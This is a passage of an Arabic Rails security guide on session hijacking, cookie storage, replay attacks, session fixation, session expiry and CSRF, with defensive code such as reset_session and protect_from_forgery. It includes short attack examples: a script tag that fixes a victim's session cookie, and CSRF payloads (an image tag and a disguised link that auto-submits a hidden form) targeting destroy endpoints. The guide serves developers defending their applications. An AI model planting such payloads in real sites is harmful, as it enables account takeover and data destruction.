تأمين تطبيقات ريلز

من موسوعة حسوب
مراجعة 07:21، 25 مارس 2019 بواسطة جميل-بيلوني (نقاش | مساهمات)
(فرق) → مراجعة أقدم | المراجعة الحالية (فرق) | مراجعة أحدث ← (فرق)

يصف هذا الدليل مشاكل الأمان الشائعة في تطبيقات الويب وكيفية تجنبها باستخدام ريلز. بعد قراءة هذا الدليل، ستتلعم:

  • جميع التدابير المضادة التي سيسلط الضوء عليها.
  • مفهوم الجلسات (sessions) في ريلز، و ما يُنفذ في وجود وسائل الهجوم المعروفة.
  • كيف يمكن أن يكون مجرد زيارة أحد المواقع مشكلة أمنية (مع CSRF).
  • ما عليك الانتباه عند العمل مع الملفات أو توفير واجهة إدارة.
  • كيفية إدارة المستخدمين: تسجيل الدخول والخروج وهجمات الطرق على جميع الطبقات.
  • أكثر الطرق المعروفة لهجوم الحقن.

المقدمة

تعمل إطارات تطبيقات الويب لمساعدة المطورين على بناء تطبيقات الويب. كما يساعد بعضها أيضًا في تأمين تطبيق الويب. في الواقع، لا يكون إطار واحد أكثر أمانًا من الآخر: إذا كنت تستخدمه بشكل صحيح، فستتمكن من إنشاء تطبيقات آمنة مع العديد من الأطر. لدى ريلز بعض التوابع المساعدة الذكية، على سبيل المثال ضد حقن SQL، بحيث لا يعد هذا مشكلة.

بشكل عام لا يوجد شيء مثل مكونات الأمن سهلة الإستخدام. يعتمد الأمن على الأشخاص الذين يستخدمون الإطار، وأحيانًا على طريقة التطوير. ويعتمد ذلك على جميع طبقات بيئة تطبيقات الويب: التخزين الخلفي (back-end storage) وخادم الويب وتطبيق الويب نفسه (وربما طبقات أو تطبيقات أخرى).

ومع ذلك، تقدر مجموعة غارتنر (Gartner Group) أن 75٪ من الهجمات موجودة على طبقة تطبيقات الويب، ووجدت أن "من بين 300 موقع مدقق، 97٪ منهم عرضة للهجوم". وذلك لأن من السهل نسبيًا استخدام تطبيقات الويب، حيث يسهل فهمها والتعامل معها، حتى من قبل الشخص العادي.

تتضمن التهديدات ضد تطبيقات الويب سرقة حساب المستخدم ، أو تجاوز التحكم في الوصول، أو قراءة أو تعديل البيانات الحساسة، أو عرض محتوى احتيالي. أو قد يتمكن أحد المهاجمين من تثبيت برنامج حصان طروادة (Trojan horse program) أو برنامج إرسال بريد إلكتروني غير مرغوب فيه، ويهدف إلى الإثراء المالي أو التسبب في تلف اسم العلامة التجارية عن طريق تعديل موارد الشركة. من أجل منع الهجمات وتقليل تأثيرها وإزالة نقاط الهجوم، عليك أولاً وقبل كل شيء أن تفهم تماما أساليب الهجوم من أجل إيجاد الإجراءات المضادة الصحيحة. هذا ما يهدف إليه هذا الدليل.

من أجل تطوير تطبيقات الويب الآمنة، يجب عليك مواكبة جميع الطبقات ومعرفة أعدائك. لمواكبة الاشتراك في قوائم بريدية أمنية، اقرأ مدونات الأمان وأجري عمليات الفحص والتحديثات الأمنية بشكل دوري (راجع فصل "مراجع إضافية" في الأسفل). يُعمل ذلك يدويا لأن هذا هو كيف تجد مشاكل أمنية منطقية سيئة.

الجلسات

المكان لجيد لبدء البحث عن الأمان هو الجلسات، والتي يمكن أن تكون عرضةً لهجمات معينة.

ما هي الجلسات؟

ملاحظة: البروتوكول HTTP هو بروتوكول عديم الحالة. الجلسات تجعله ذي حالة (stateful).

تحتاج معظم التطبيقات إلى تتبع حالة معينة لمستخدم معين. قد تكون هذه محتويات سلة التسوق أو معرف المستخدم للمستخدم الذي قام بتسجيل الدخول حاليًا. بدون فكرة الجلسات، يجب على المستخدم تحديد وربما الاستيثاق على كل طلب. ستنشئ ريلز جلسة جديدة تلقائيًا إذا قام مستخدم جديد بالوصول إلى التطبيق. وستحمل جلسة موجودة إذا كان المستخدم قد استخدم التطبيق بالفعل.

عادةً ما تتكون الجلسة من جدول Hash من القيم ومعرف الجلسة، ,عادة ما تتكون من سلسلة 32 حرف، لتحديد ذلك الجدول. يتضمن كل ملف تعريف ارتباط (cookie) يُرسَل إلى متصفح العميل معرف الجلسة. وفي الاتجاه الآخر: يرسل المتصفح إلى الخادم كل طلب من العميل. في ريلز، يمكنك حفظ واسترجاع القيم باستخدام التابع session:

session[:user_id] = @current_user.id
User.find(session[:user_id])

معرف الجلسة

ملاحظة: معرف جلسة العمل عبارة عن سلسلة ست عشرية عشوائية تتكون من 32 محرف.

تُنشأ معرّف جلسة العمل باستخدام SecureRandom.hex الذي ينشئ سلسلة ست عشرية عشوائية باستخدام توابع خاصة بالمنصة (مثل OpenSSL أو ‎/dev/urandom أو Win32 CryptoAPI) لإنشاء أرقام عشوائية آمنة مشفرة. في الوقت الحالي ليس من الممكن إجهاض المعرفات الخاصة بجلسات ريلز.

اختطاف الجلسة

تحذير: يتيح سرقة معرف جلسة المستخدم لمهاجم استخدام تطبيق الويب باسم الضحية.

تحتوي العديد من تطبيقات الويب على نظام الاستيثاق: يوفر المستخدم اسم مستخدم وكلمة مرور، ويفحصهما تطبيق الويب ثم يخزن معرف المستخدم المقابل في جدول Hash للجلسة. من الآن فصاعدا، الجلسة صالحة. في كل طلب، سيحمل التطبيق المستخدم المحدد بواسطة معرف المستخدم في الجلسة، دون الحاجة إلى استيثاق جديد. يحدد معرف الجلسة في ملف تعريف الارتباط جلسة العمل.

بعد ذلك، فإن ملف تعريف الارتباط بمثابة استيثاق مؤقت لتطبيق الويب. أي شخص يستغل ملف تعريف ارتباط من شخص آخر قد يستخدم تطبيق الويب باسم هذا المستخدم - مع احتمال حدوث عواقب وخيمة. في ما يلي بعض الطرق لاختطاف جلسة، وإجراءاتها المضادة:

  • تحسس ملف تعريف الارتباط (cookie) في شبكة غير آمنة. يمكن أن تكون الشبكة المحلية اللاسلكية مثالًا على مثل هذه الشبكة. في شبكة LAN لاسلكية غير مشفرة، من السهل جدًا الاستماع إلى حركة مرور جميع العملاء المتصلين. بالنسبة إلى أداة إنشاء تطبيقات الويب ، فهذا يعني توفير اتصال آمن عبر طبقة المقابس الآمنة. في ريلز 3.1 والإصدارات الأحدث، تحقق ذلك عن طريق فرض اتصال SSL دائمًا في ملف تهيئة التطبيق الخاص بك:
config.force_ssl = true
  • معظم الناس لا يمسحون ملفات تعريف الارتباط بعد العمل في أماكن عامة (مثل مقاهي الإنترنت). لذلك، إذا لم يسجل المستخدم الأخير الخروج من تطبيق ويب، فسيتمكن غيره من استخدامه باسم هذا المستخدم. قدم للمستخدم زر تسجيل الخروج في تطبيق الويب، واجعله بارزًا.
  • تهدف العديد من عمليات استغلال البرامج النصية عبر المواقع (XSS) إلى الحصول على ملف تعريف الارتباط الخاص بالمستخدم. ستقرأ المزيد عن XSS لاحقًا.
  • بدلاً من سرقة ملف تعريف ارتباط غير معروف للمهاجم، يجري إصلاح مُعرِّف جلسة المستخدم (في ملف تعريف الارتباط) المعروف لهم. اقرأ المزيد حول ما يسمى بتثبيت الجلسة لاحقًا.

الهدف الرئيسي لمعظم المهاجمين هو كسب المال. تتراوح الأسعار السرية لحسابات تسجيل الدخول المسروقة للبنوك من 10 إلى 1000 دولار (اعتمادًا على المبلغ المتاح للأموال)، و 0.40 إلى 20 دولارًا لأرقام بطاقات الائتمان، و 1 إلى 8 دولارات لحسابات مواقع المزادات على الإنترنت، و 4 - 30 دولارًا لكلمات مرور البريد الإلكتروني، وفقًا لتقرير تهديد أمن الإنترنت العالمي من سيمانتك.

إرشادات الجلسة

فيما يلي بعض الإرشادات العامة حول الجلسات.

  • لا تخزن أشياءً كبيرةً في جلسة واحدة. بدلًا من ذلك، يجب تخزينها في قاعدة البيانات وحفظ معرّفها في الجلسة. سيؤدي ذلك إلى التخلص من صداع التزامن ولن يملأ مساحة التخزين الخاصة بالجلسة (حسب سعة التخزين التي اخترتها، انظر أدناه). ستكون هذه فكرة جيدة أيضًا، إذا قمت بتعديل بنية كائن وما زالت الإصدارات القديمة منه موجودةً في ملفات تعريف الارتباط الخاصة بمستخدم ما. من خلال تخزين جلسات من جانب الخادم، يمكنك مسح الجلسات، ولكن مع التخزين من جانب العميل، يكون من الصعب التخفيف من ذلك.
  • يجب عدم تخزين البيانات المهمة في الجلسة. إذا مسح المستخدم ملفات تعريف الارتباط الخاصة به أو أغلق المتصفح، فستُفقَد البيانات. أضف إلى ذلك أنَّه باستخدام وحدة التخزين على جانب العميل، يمكن للمستخدم قراءة البيانات.

تخزين الجلسة المشفرة

ملاحظة: يوفر ريلز العديد من آليات التخزين لجداول Hash لجلسة العمل. الأكثر أهمية هو ActionDispatch::Session::CookieStor.

يحفظ CookieStore جدول Hash للجلسة مباشرة في ملف تعريف الارتباط من جانب العميل. يسترد الخادم الجدول Hash لجلسة العمل من ملف تعريف الارتباط ويلغي الحاجة إلى معرِّف جلسة العمل. سيزيد ذلك من سرعة التطبيق بشكل كبير، لكنه خيار تخزين مثير للجدل وعليك التفكير في الآثار الأمنية وقيود التخزين الخاصة به:

  • تتطلب ملفات تعريف الارتباط حدًا صارمًا للحجم يبلغ 4 كيلوبايت. هذا جيد، حيث لا يجب تخزين كميات كبيرة من البيانات في الجلسة على أي حال، كما هو موضح سابقًا. تخزين معرف قاعدة بيانات المستخدم الحالي في جلسة هو ممارسة شائعة.
  • ملفات تعريف الارتباط الخاصة بالجلسات لا تنهي صلاحيتها بنفسها وقد يعاد استخدامها بشكل ضار. قد يكون من الجيد أن يؤدي تطبيقك إلى إبطال ملفات تعريف ارتباط الجلسة القديمة باستخدام طابع زمني مخزن.

يستخدم CookieStore مخزن ملف تعريف الارتباط المشفر (encrypted cookie jar) لتوفير موقع آمن ومشفر لتخزين بيانات الجلسات. وبالتالي، توفر الجلسات المستندة إلى ملفات تعريف الارتباط كلًّا من الأمان والسرية لمحتوياتها. يُشتق مفتاح التشفير، بالإضافة إلى مفتاح التحقق المستخدم لملفات تعريف الارتباط الموقعة، من قيمة الضبط secret_key_base.

بدءًا من الإصدار 5.2 من ريلز، تحمى ملفات تعريف الارتباط والجلسات المشفرة باستخدام تشفير AES GCM. هذا النوع من التشفير هو نوع من التشفير والاستيثاق الزوجي والتشفير في خطوة واحدة في حين تنتج أيضا نصوصًا أقصر مقارنة مع الخوارزميات الأخرى المستخدمة سابقا. يُشتق مفتاح ملفات تعريف الارتباط المشفرة مع AES GCM باستخدام قيمة زائدة محددة بواسطة القيمة config.action_dispatch.authenticated_encrypted_cookie_salt.

قبل هذا الإصدار، تُأمَّن ملفات تعريف الارتباط المشفرة باستخدام AES في الوضع CBC مع HMAC باستخدام SHA1 للاستيثاق. اشتقت مفاتيح هذا النوع من التشفير والتحقق من HMAC من خلال القيم الزائدة التي حددها config.action_dispatch.encrypted_cookie_salt و config.action_dispatch.encrypted_signed_cookie_salt على التوالي.

قبل الإصدار 4 من ريلز في كلا الإصدارين 2 و 3، كانت تُحمَى ملفات تعريف الارتباط الخاصة بالجلسات باستخدام التحقق من HMAC فقط. على هذا النحو، لم توفر ملفات تعريف الارتباط الخاصة بهذه الجلسة سوى سلامة المحتوى الخاص بها لأن بيانات الجلسة الفعلية خُزنت في نص عادي مشفر باعتباره base64. هذه هي الطريقة التي تعمل بها ملفات تعريف الارتباط في الإصدار الحالي من ريلز. لا تزال هذه الأنواع من ملفات تعريف الارتباط مفيدة لحماية سلامة بعض البيانات والمعلومات المخزنة من قبل العميل.

لا تستخدم كلمة سر تافهة لـ secret_key_base، أي كلمة من القاموس، أو ذات حروف أقل من 30 حرفًا! بدلًا من ذلك، استخدم rails secret لتوليد مفاتيح سرية!

من المهم أيضًا استخدام قيم زائدة مختلفة لملفات تعريف الارتباط المشفرة والموقعة. قد يؤدي استخدام نفس القيمة لقيم ضبط القيمة الزائدة (salt configuration values) المختلفة إلى نفس المفتاح المشتق المستخدم لميزات أمان مختلفة؛ وهذا قد يؤدي بدوره إلى إضعاف قوة المفتاح.

في تطبيقات الاختبار والتطوير، احصل على secret_key_base مشتق من اسم التطبيق. يجب أن تستخدم البيئات الأخرى مفتاحًا عشوائيًا موجودًا في config/credentials.yml.enc، كما هو موضح هنا في حالة فك تشفيرها:

secret_key_base: 492f...

إذا تلقيت طلبًا عرض فيه كلمة السر (على سبيل المثال أحد التطبيقات التي تمت مشاركة مصدرها)، ففكر بشدة في تغيير كلمة السر.

تدوير إعدادات ملفات تعريف الارتباط المشفرة والموقعة

يُعد التدوير (Rotation) مثاليًا لتغيير ضبط ملفات تعريف الارتباط وضمان عدم صلاحية ملفات تعريف الارتباط القديمة على الفور. عندئذٍ، ستتاح الفرصة للمستخدمين لديك لزيارة موقعك، وقراءة ملفات تعريف الارتباط الخاصة بهم مع تهيئة قديمة وإعادة كتابتها مع التغيير الجديد. يمكن بعد ذلك إزالة التدوير بعد أن تكون مطمئنًّا بما يكفي من امتلاك المستخدمين الفرصة لتحديث ملفات تعريف الارتباط الخاصة بهم.

من الممكن تدوير الأصفار والخدمات المستخدمة لملفات تعريف الارتباط المشفرة والموقعة.

على سبيل المثال، لتغيير القيمة المشفرة المختصرة (digest) المستخدمة لملفات تعريف الارتباط المشفرة الموقعة من SHA1 إلى SHA256، يجب أولًا تعيين قيمة الضبط الجديدة:

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

أضف الآن تدويرًا للقيمة المشفرة عبر SHA1 المختصرة القديمة بحيث تُحدث ملفات تعريف الارتباط الحالية بسلاسة إلى القيمة المشفرة عبر SHA256 المختصرة الجديدة.

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1"
end

ثم ستُحسَب القيمة المشفرة المختصرة لأي ملفات تعريف الارتباط المكتوبة باستخدام SHA256. لا يزال من الممكن قراءة ملفات تعريف الارتباط القديمة التي كُتبت باستخدام SHA1، وإذا جرى الوصول إليها آنذاك، سيعاد كتابتها مع القيمة المشفرة المختصرة الجديد بحيث يجري ترقيتها ولن تكون غير صالحة عند إزالة التدوير.

وبمجرد أن لم يعد لدى المستخدمين الذين يملكون ملفات تعريف الارتباط الموقعة ذات القيمة المختصرة والمشفرة عبر SHA1 فرصةً لإعادة كتابة ملفات تعريف الارتباط الخاصة بهم، أزل الدوران.

على الرغم من أنه يمكنك إعداد العديد من عمليات التدوير على الوجه الذي تريد، فمن غير المعتاد إجراء العديد من التدويرات في وقت واحد.

لمزيد من التفاصيل حول تدوير المفاتيح مع الرسائل المشفرة والموقعة بالإضافة إلى الخيارات المختلفة التي يقبلها التابع rotate، يرجى الرجوع إلى توثيق واجهة برمجة تطبيقات MessageEncryptor و MessageVerifier.

هجمات الإعادة على جلسات CookieStore

ملاحظة: نوع آخر من الهجوم عليك أن تكون على دراية به عند استخدام CookieStore هو هجوم الإعادة (replay attack).

تُنفَّذ هذه الهجمات بالشكل التالي:

  • يتلقى المستخدم كمية مبلغ المال، ثم يخزن المبلغ في جلسة (وهي فكرة سيئة على أي حال، لكننا سنفعل ذلك لأغراض العرض التوضيحي).
  • يشتري المستخدم شيئًا.
  • تخزين قيمة المبلغ المعدلة الجديدة في الجلسة.
  • يأخذ المستخدم ملف تعريف الارتباط من الخطوة الأولى (الذي نسخوه مسبقًا) ويستبدل ملف تعريف الارتباط الحالي في المتصفح.
  • يمتلك المستخدم رصيده الأصلي مرة أخرى.

تضمين رقم خاص (nonce، وهو قيمة عشوائية) في الجلسة يقي من هجمات الإعادة. يكون الرقم الخاص صالحًا مرة واحدة فقط، ويتعين على الخادم تتبع جميع الأرقام الخاصة الصالحة. يصبح الأمر أكثر تعقيدًا إذا كان لديك عدة خوادم للتطبيق. من شأن تخزين الأرقام الخاصة في جدول قاعدة بيانات أن يهزم الهدف الكامل لـ CookieStore (تجنب الوصول إلى قاعدة البيانات).

أفضل حل لذلك هو عدم تخزين هذا النوع من البيانات في الجلسة، ولكن في قاعدة البيانات. في هذه الحالة، خزن الرصيد في قاعدة البيانات و login_in_user_id في الجلسة.

تثبيت الجلسة

ملاحظة: بصرف النظر عن سرقة معرف جلسة المستخدم، قد يُصلِح المهاجم معرف جلسة يعرفه ويجبر الضحية على استعماله، وهذا ما يسمى "تثبيت الجلسة" (Session Fixation).

[[ملف:session_fixation_Rails.png|بديل=خطوات تثبيت جلسة ذات معرف معلوم من طرف المهاجم وتوضيح كيفية خداع المستخدم لاستعمال معرف الجلسة ذاك وإنجاز الاستيثاق للمهاجم.|تصغير|خطوات تثبيت جلسة ذات معرف معلوم من طرف المهاجم وتوضيح كيفية خداع المستخدم لاستعمال معرف الجلسة ذاك وإنجاز الاستيثاق للمهاجم.]]

يركز هذا الهجوم على إصلاح معرِّف جلسة المستخدم المعروف للمهاجم، وإجبار متصفح المستخدم على استخدام هذا المعرف. لذلك، ليس من الضروري أن يسرق المهاجم معرف الجلسة بعد ذلك. إليك كيف يعمل هذا الهجوم:

  • يُنشئ المهاجم معرف جلسة صالح: يُحمِّل صفحة تسجيل الدخول الخاصة بتطبيق الويب حيث يريد إصلاح جلسة العمل، ثم يأخذ معرف جلسة العمل الموجود في ملف تعريف الارتباط من الاستجابة (راجع الرقمين 1 و 2 في الصورة).
  • يحتفظ المهاجم بالجلسة عن طريق الوصول إلى تطبيق الويب بشكل دوري من أجل منع انتهاء صلاحية الجلسة وإبقائها على قيد الحياة.
  • يفرض المهاجم على متصفح المستخدم استخدام معرف جلسة العمل هذا (راجع رقم 3 في الصورة). نظرًا لأنه لا يجوز لك تغيير ملف تعريف ارتباط لنطاق آخر (بسبب سياسة المصدر الواحد [same origin policy])، يجب على المهاجم تشغيل JavaScript من مجال تطبيق الويب المستهدف. ينفَّذ هذا الهجوم عبر حقن شيفرة JavaScript في التطبيق بواسطة XSS. إليك مثال على ذلك:
<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>

سنتطرق إلى الهجوم XSS والحقن في وقت لاحق.

  • يغري المهاجم الضحية إلى الصفحة المصابة بشيفرة JavaScript. من خلال عرض الصفحة، سيغير متصفح الضحية معرف الجلسة إلى معرف الجلسة الملغوم الذي يمثِّل الفخ.
  • لمَّا كان معرف الجلسة الملغوم الجديد غير مستخدم بعد، فسيطلب تطبيق الويب من المستخدم إجراء استيثاق.
  • من الآن فصاعدا، سيتشارك الضحية والمهاجم استخدام تطبيق الويب مع الجلسة نفسها، إذ أصبحت الجلسة صالحة ولم يلاحظ الضحية الهجوم الذي حصل.

تثبيت الجلسة - التدابير الوقائية

تنبيه: سطر واحد من التعليمات البرمجية سوف يحميك من هجوم تثبيت الجلسة.

إن الإجراء المضاد الأكثر فاعلية هو إصدار معرف جلسة عمل جديد وإعلان أن الرقم القديم غير صالح بعد تسجيل الدخول بنجاح. بهذه الطريقة، لا يمكن للمهاجم استخدام معرف جلسة العمل الثابتة. هذا هو مضاد جيد ضد اختطاف الجلسة أيضًا. فيما يلي كيفية إنشاء جلسة جديدة في ريلز:

reset_session

إذا كنت تستخدم الجوهرة Devise الشائعة لإدارة المستخدمين، فستنتهي الجلسات تلقائيًا عند تسجيل الدخول وتسجيل الخروج نيابة عنك. إذا قمت بالتدوير الخاص بك، تذكر أن تنهي صلاحية الجلسة بعد تسجيل الدخول (عند إنشاء الجلسة). سيؤدي هذا إلى إزالة القيم من الجلسة، وبالتالي يتعين عليك نقلها إلى الجلسة الجديدة.

ومن التدابير المضادة الأخرى حفظ الخصائص الخاصة بمستخدم محدد في الجلسة، والتحقق منها في كل مرة يأتي فيها طلب، ورفض الوصول إذا كانت المعلومات غير متطابقة. يمكن أن تكون هذه الخصائص هي عنوان IP البعيد أو وكيل المستخدم (اسم مستعرض ويب)، على الرغم من أن الأخير غير مرتبط بمستخدم محدَّد بشدة. عند حفظ عنوان IP، يجب أن تضع في حسبانك أن هناك مزودي خدمة إنترنت أو مؤسسات كبيرة تضع مستخدميها خلف الوكلاء (proxies). قد تتغير هذه الخصائص على مدار الجلسة، لذلك لن يتمكن هؤلاء المستخدمون من استخدام التطبيق الخاص بك، أو سيستخدموه ولكن بشكل محدود فقط.

انتهاء الجلسة

ملاحظة: توسع الجلسات التي لا تنتهي صلاحيتها إطلاقًا الإطار الزمني لاحتمالية حدوث عدَّة هجمات مثل التزوير عبر الموقع (CSRF) واختطاف الجلسة وتثبيت الجلسة.

أحد الاحتمالات هو تعيين الطابع الزمني لإنتهاء صلاحية ملف تعريف الارتباط مع معرف جلسة العمل. ومع ذلك، يمكن للعميل تحرير ملفات تعريف الارتباط التي تخزن في متصفح الويب بحيث تصبح الجلسات المنتهية على الخادم أكثر أمانًا. فيما يلي مثال حول كيفية انهاء صلاحية الجلسات في جدول قاعدة البيانات. استدعي ("Session.sweep ("20 minutes لإنهاء الجلسات التي استُخدمت منذ أكثر من 20 دقيقة.

class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    if time.is_a?(String)
      time = time.split.inject { |count, unit| count.to_i.send(unit) }
    end
 
    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
  end
end

قدم القسم السابق الذي يشرح "تثبيت الجلسة" مشكلة الحفاظ على الجلسات. يمكن للمهاجم الذي يحافظ على جلسة تنتهي كل خمس دقائق أن يبقى الجلسة حية إلى الأبد، على الرغم من أنك قد انتهيت من الجلسات. سيكون الحل البسيط لهذا هو إضافة العمود created_at إلى جدول الجلسات. الآن يمكنك حذف الجلسات التي أُنشئت منذ وقت طويل. استخدم هذا الخط في التابع sweep أعلاه:

delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
  created_at < '#{2.days.ago.to_s(:db)}'"

تزوير الطلب عبر المواقع (CSRF)

تعمل طريقة الهجوم هذه على تضمين شفرة خبيثة أو ارتباط في صفحة تصل إلى تطبيق ويب يُعتقَد أن المستخدم قد أجرى استيثاقًا معه. إذا لم تنقضي مهلة جلسة تطبيق الويب، فقد ينفذ المهاجم أوامر غير مصرح بها.

[[ملف:csrf_refactoring.png|بديل=رسم توضيحي لهجمات تزوير الطلب عبر المواقع (CSRF).|تصغير|رسم توضيحي لهجمات تزوير الطلب عبر المواقع (CSRF).]]

في فصل الجلسات، تعلمت أن معظم تطبيقات ريلز تستخدم جلسات تستند إلى ملفات تعريف الارتباط. إما أن تخزن معرف جلسة العمل في ملف تعريف الارتباط وأن تحتوي على جدول Hash لجلسة من جانب الخادم، أو أن يكون الجدول Hash بأكلمه للجلسة على جانب العميل. في كلتا الحالتين، سيرسل المتصفح تلقائيًا ملف تعريف الارتباط على كل طلب إلى نطاق إذا تمكن من العثور على ملف تعريف ارتباط لهذا النطاق. تكمن النقطة المثيرة للجدل في أنه إذا جاء الطلب من موقع لنطاق مختلف، سيرسل أيضًا ملف تعريف الارتباط. لنبدأ بمثال:

  • يتصفح محمد لوحة الرسائل ويعرض مشاركة من أحد القراصنة (hacker) حيث يوجد عنصر صورة HTML مهيأ. يشير العنصر إلى أمر في تطبيق إدارة مشروع محمد، بدلًا من ملف الصورة نفسها:
    <img src="http://www.webapp.com/project/1/destroy">
    
  • لا تزال جلسة محمد على www.webapp.com على قيد الحياة، لأنه لم يقم بتسجيل الخروج قبل بضع دقائق.
  • من خلال عرض المشاركة، يجد المتصفح وسم الصورة. يحاول تحميل الصورة المشتبه بها من www.webapp.com. كما أوضحنا من قبل، يرسل أيضًا على طول ملف تعريف الارتباط بمعرف الجلسة الصحيح.
  • يتحقق تطبيق الويب على www.webapp.com من معلومات المستخدم في جدول Hash للجلسة المقابلة ويدمر المشروع بالمعرف 1. ثم يعيد صفحة نتائج غير متوقعة للذاكرة، لذا لن تُعرَض الصورة.
  • محمد لا يلاحظ الهجوم - ولكن يكتشف بعد بضعة أيام أن المشروع رقم واحد قد اختفى.

من المهم ملاحظة أن الصورة أو الوصلة الفعلية لا يجب وضعها بالضرورة في نطاق تطبيق الويب، يمكن أن تكون في أي مكان - في منتدى أو مشاركة مدونة أو بريد إلكتروني.

هجمات CSRF نادرةٌ جدًا في CVE (نقاط الضعف والمشاكل الشائعة)، إذ شكلت أقل من 0.1% من الهجمات في عام 2006، ولكنها في الحقيقة "عملاق نائم" (كما وصفها غروسمان[Grossman]). هذا في تناقض صارخ مع نتائج العديد من أعمال الاتفاقيات الأمنية، إذ تعد هجمات CSRF مشكلة أمنية خطيرة يجب الاهتمام بها.

إجراءات CSRF

ملاحظة: أولًا، كما هو مطلوب من قبل W3C، استخدم طلبيات GET و POST بشكل مناسب. ثانيًا، سيحمي رمز الأمان في طلبيات غير GET تطبيقك من هجمات CSRF.

يوفر بروتوكول HTTP أساسًا نوعين رئيسيين من الطلبات هما: GET و POST (يجب استخدام DELETE و PUT و PATCH مثل POST). يوفر World Wide Web Consortium) W3C) قائمة تحقق لاختيار GET أو POST:

استخدم GET إذا كان:

  • التفاعل أشبه بسؤال (بمعنى أنه عملية آمنة مثل الاستعلام أو قراءة العملية أو البحث).

استخدم POST إذا كان:

  • التفاعل أشبه بأمر، أو
  • التفاعل يغير حالة المورد بطريقة يتصورها المستخدم (على سبيل المثال، اشتراك في خدمة)، أو
  • المستخدم يُحمَّل مسؤولية نتائج التفاعل.

إذا كان تطبيق الويب الخاص بك هو RESTful، فقد يُستخدَم لأفعال HTTP إضافية، مثل PATCH أو PUT أو DELETE. ولكن، بعض متصفحات الويب القديمة لا تدعمها بل تدعم فقط GET و POST. يستخدم ريلز الحقل ‎_method المخفي لمعالجة هذه الحالات.

يمكن إرسال طلبات POST تلقائيًا أيضًا. في هذا المثال، يُظهَر الرابط www.harmless.com كوجهة في شريط الحالة للمتصفح. ولكنه في الواقع أنشأ بشكل ديناميكي نموذجًا جديدًا يرسل طلب POST.

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

أو يضع المهاجم الرمز في معالج الحدث onmouseover الخاص بالصورة:

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

هناك العديد من الاحتمالات الأخرى، مثل استخدام الوسم <script> لتقديم طلب عبر الموقع إلى عنوان URL باستخدام استجابة JSONP أو JavaScript. الاستجابة هي تعليمات برمجية قابلة للتنفيذ يمكن للمهاجم العثور على طريقة لتنفيذها، وربما سرقة بيانات حساسة. للحماية من تسرب البيانات هذا، يجب علينا منع الوسم <script> عبر المواقع. ومع ذلك، فإن طلبات Ajax تلتزم بسياسة المتصفح نفسها (فقط يُسمح لموقعك ببدء XmlHttpRequest) حتى نتمكن من السماح لهم بإرجاع استجابات JavaScript بأمان.

ملاحظة: لا يمكننا تمييز أصل الوسم <script> — سواء كان وسمًا على موقعك الخاص أو على موقع ضار آخر — لذا يجب علينا حظر جميع الوسوم <script>، حتى إذا كانت في الأصل آمنةً مثلها مثل الوسوم المحملة من موقعك الخاص. في هذه الحالات، تخطي حماية CSRF بشكل صريح من الإجراءات التي تخدم JavaScript الموجهة للوسم <script>.

للحماية من جميع الطلبات المزورة الأخرى، نقدم رمز الأمان المطلوب الذي يعرفه موقعنا ولكن المواقع الأخرى لا تعرفه. نحن نُضمِّن رمز الأمان في الطلبات ونتحقق منه على الخادم. إليك أحد الأسطر في وحدة تحكم التطبيق الخاص بك، والذي يُضمَّن بشكل افتراضي في تطبيقات ريلز التي أُنشئَت حديثًا:

protect_from_forgery with: :exception

سيتضمن ذلك تلقائيًا رمزًا للأمان في جميع النماذج وطلبات Ajax التي أُنشئت بواسطة ريلز. إذا كان الرمز المميز للأمان لا يطابق ما كان متوقعًا، فسيرمى استثناء.

ملاحظة: بشكل افتراضي، يتضمن ريلز محولًا للشيفرات البرمجية غير المزعجة (unobtrusive scripting adapter)، الذي يضيف ترويسةً تدعى X-CSRF-Token مع رمز الأمان على كل استدعاء Ajax ليس GET. بدون هذه الترويسة، لن تقبل ريلز طلبات Ajax التي ليست GET. عند استخدام مكتبة أخرى لإجراء استدعاءات Ajax، من الضروري إضافة رمز الأمان كعنوان افتراضي لاستدعاءات Ajax في مكتبتك. للحصول على الرمز، ألقِ نظرة على الوسم ‎<meta name='csrf-token' content='THE-TOKEN'>‎ المطبوع بواسطة <‎%= csrf_meta_tags %‎> في عرض التطبيق الخاص بك.

من الشائع استخدام ملفات تعريف الارتباط الدائمة لتخزين معلومات المستخدم، مع cookies.permanent على سبيل المثال. في هذه الحالة، لن تًمسَح ملفات تعريف الارتباط ولن تكون الإجراءات المتبعة للحماية من هجمات CSRF فعالة. إذا كنت تستخدم مخزن ملفات تعريف ارتباط مختلفًا عن الجلسة لهذه المعلومات، فيجب عليك التعامل مع ما تفعله بنفسك:

rescue_from ActionController::InvalidAuthenticityToken do |exception|
  sign_out_user # Example method that will destroy the user cookies
end

يمكن وضع التابع أعلاه في ApplicationController وسيُستدعَى عندما يكون رمز CSRF غير موجود أو غير صحيح على طلب غير GET.

لاحظ أن ثغرات البرمجة عبر المواقع (XSS) تتجاوز جميع إجراءات الحماية من هجمات CSRF. يتيح XSS للمهاجم الوصول إلى جميع العناصر في الصفحة، حتى يتمكن من قراءة رمز الأمان CSRF من نموذج أو إرسال النموذج مباشرةً. سنتطرق إلى هجمات XSS لاحقًا.

إعادة التوجيه والملفات

هناك فئة أخرى من الثغرات الأمنية تحيط باستخدام إعادة التوجيه والملفات في تطبيقات الويب.

إعادة التوجيه

تحذير: إعادة التوجيه في تطبيق الويب هو أداة للتكسير ذات شأن بخس (underestimated cracker tool): لا يمكن للمهاجم توجيه المستخدم إلى موقع يحوي فخًا له فقط، بل قد يؤدي أيضًا إلى إنشاء هجوم قائم بذاته.

